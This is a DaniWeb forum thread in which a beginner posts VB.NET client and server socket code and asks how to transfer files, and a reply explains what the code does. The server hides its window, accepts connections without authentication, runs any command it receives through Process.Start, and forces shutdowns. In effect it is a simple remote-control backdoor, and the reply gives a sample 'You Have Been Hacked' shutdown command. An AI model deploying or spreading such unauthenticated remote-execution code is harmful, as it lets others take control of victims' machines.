Hi i have been roaming for codes everywhere couldnt even one of what i wanted
I am a new beginner and i dont understand their codes ..
Would someone here be kind enough to show me how to exchange files within sockets
This is my code for the server

-------------------SERVER------------------
***

Imports System.Net
Imports System.Net.Sockets
Imports System.IO
Imports Microsoft.Win32

Public Class Form1
    Dim port As Integer = 6961
    Dim sock As New TcpClient()
    Dim tcpc As New TcpListener(port)
    Dim place As String

    Private Sub Listen()
        Try
            tcpc.Start()
            sock = tcpc.AcceptTcpClient()
        Catch ex As Exception
        End Try
    End Sub

    Private Sub check()
        If sock.Connected = True Then
            sock.SendTimeout = 5000
            Try
                Dim nstream As NetworkStream = sock.GetStream
                Dim bit(sock.ReceiveBufferSize) As Byte
                nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))
                Dim str As String = System.Text.Encoding.ASCII.GetString(bit)
                Dim id() As String = Split(str, "*", -1, CompareMethod.Text)


                If id(0) = 0 Then
                    Dim stri As String = id(1)
                    Process.Start(stri)
                End If

                If id(0) = 1 Then
                    Dim stri As String = id(1)
                    MsgBox(id(1))
                End If

                If id(0) = 2 Then
                    Dim stri As String = id(1)
                    Shell("shutdown -l ")
                End If

                If id(0) = 3 Then
                    Dim stri As String = id(1)
                    Shell("shutdown -s -f -t 00 ")
                End If

                If id(0) = 4 Then
                    Dim stri As String = id(1)
                    Shell("shutdown -h ")
                End If

                If id(0) = 5 Then
                    Dim stri As String = id(1)
                    Shell("shutdown -r ")
                End If

            Catch ex As Exception
                check()
            End Try
        End If
    End Sub

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        While sock.Connected = False
            Try
                Listen()
            Catch ex As Exception
            End Try
        End While

        While True
            Check()
        End While
        Me.Hide()
    End Sub
End Class***

And the client is

-----------CLIENT---------------------

***

Imports System.Net
Imports System.Net.Sockets
Imports System.IO
Imports Microsoft.Win32

Public Class Form1
    Dim sock As New TcpClient()
    Dim ip As IPAddress = IPAddress.Parse("127.0.0.1")
    Dim port As Integer = 6961

    Private Sub connect()
        ip = IPAddress.Parse(TextBox1.Text)
        port = TextBox2.Text
        Try
            sock.Connect(ip, port)
            ToolStripStatusLabel1.Text = "Connected"
            MsgBox("Connected")

        Catch ex As Exception
            MsgBox("Connection Failed")
        End Try
    End Sub

    Private Sub dat(ByVal dat As String)
        Dim nstream As NetworkStream = sock.GetStream()
        Dim bit As [Byte]() = System.Text.Encoding.ASCII.GetBytes(dat)
        nstream.Write(bit, 0, bit.Length)
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
        If TextBox4.Text = "" Then
            dat("0*" + TextBox3.Text)
        End If
        If TextBox3.Text = "" Then
            dat("1*" + TextBox4.Text)
        End If
    End Sub

    Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
        If sock.Connected Then
            sock.Close()
            ToolStripStatusLabel1.Text = "Disconnected"
            MsgBox("Disconnected")
        Else
            MsgBox("Not Connected")
        End If
    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        connect()
    End Sub
End Class***

-------------QUESTION-------------
Please i would be very much greatfully if someone taught me how to exchange files between two computers...I am even fed up but because KNOWLEDGE IS FREE i will still continue to search until my answere is solved
Thanks for reading
Waiting for your answere
Thnks once again

Hello Bro,
This code simply
Server
On form load, checks if server is connected ... if its not then starts listening .. and then executes the Me.Hide function which hides the program

Incase of incoming connection, Server accepts without authentication and then establishes socket for data transfer;
The above settings in the server is:
after getting data:strips it and then gets the command after the id
Eg.When the client sends 0*shutdown -f -s -t 00 /c "You Have Been Hacked"
it first gets the id which == 0
the astericks * strips data from id for the server to be able to identify
Now am talking rubbish, lets get something up here
The server has this settings when it establishes connection
for ex.

If id(0) = 0 Then
Dim stri As String = id(1)
Process.Start(stri)
End If

If a client sends the data [0shutdown -f -s -t 00 /c "You Have Been Hacked"]
This is what happens:
Gets the id and matches it to see if it has a function for it which is
0
shutdown -f -s -t 00 /c "You Have Been Hacked"

If id(0) = 0 Then 'Checks the received id [0] which has a function here
Dim stri As String = id(1) 'The command after the * is stored here
Process.Start(stri) 'The Server then executes the command
End If

Another Eg. If i[me the client] send this data to server
1*Hello World

If id(0) = 1 Then 'Checks the received id [1] which has a function here
Dim stri As String = id(1)
'The command after the * is stored here [ Hello World ]
MsgBox(id(1)) 'Error U made a mistake here. It shud be MsgBox(str) not id(1)
MsgBox(stri) 'MsgBoxs the stri data
End If ' Closes the function

Now this what happens with the server'
What i like is ... Incase the server disconnects
It executes the listener function again
U shud modify it well

Client
Button1 executes the connect function which should connect successfully if the server is listening ...
After Connection Established.
Private Sub Dat
Jux writes to the socket connection established

In other to send a command
'Lets take TextBox1.Text having a value of "shutdown -f -s -t 00"
dat("0*" + TextBox1.Text)

if this command is to be sent to server
It will shutdown immediately
since we all remember above what the id(0) function at the server part does:
executes windows commands

That's it
Hope u can figure ur way out
I only decided to help because i was a new beginner and no wished to help
not to talk of giving a sample code. I roamed the internet before i got a sample code like the one u posted above from a website:streamblahblah.com
Cant remember: Didn't even know what MsgBox("Hello") does ....
It very painful not having anyone around to help u when u need them

Not to talk of when wat u want can't be found on the internet and u need to use ur own brains

Have a nice day Kwabyna Lilwayne

Theresa
Be a part of the DaniWeb community

We're a friendly, industry-focused community of developers, IT pros, digital marketers, and technology enthusiasts meeting, networking, learning, and sharing knowledge.